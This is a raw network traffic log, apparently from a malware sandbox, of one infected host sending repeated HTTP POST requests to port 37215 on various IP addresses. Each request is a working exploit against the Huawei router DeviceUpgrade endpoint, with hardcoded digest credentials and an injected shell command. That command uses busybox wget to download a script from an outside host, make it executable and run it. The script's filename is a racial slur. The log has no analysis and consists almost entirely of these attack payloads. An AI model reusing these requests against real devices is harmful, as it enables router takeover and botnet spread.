Feb 19, 2024 18:36:52.744884968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	52814	45.33.242.141	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:04.591321945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	59566	122.228.85.194	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:05.795512915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.998744965 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:16.142054081 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:28.172389984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	51092	31.136.206.244	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.499773979 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.070889950 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.190778017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
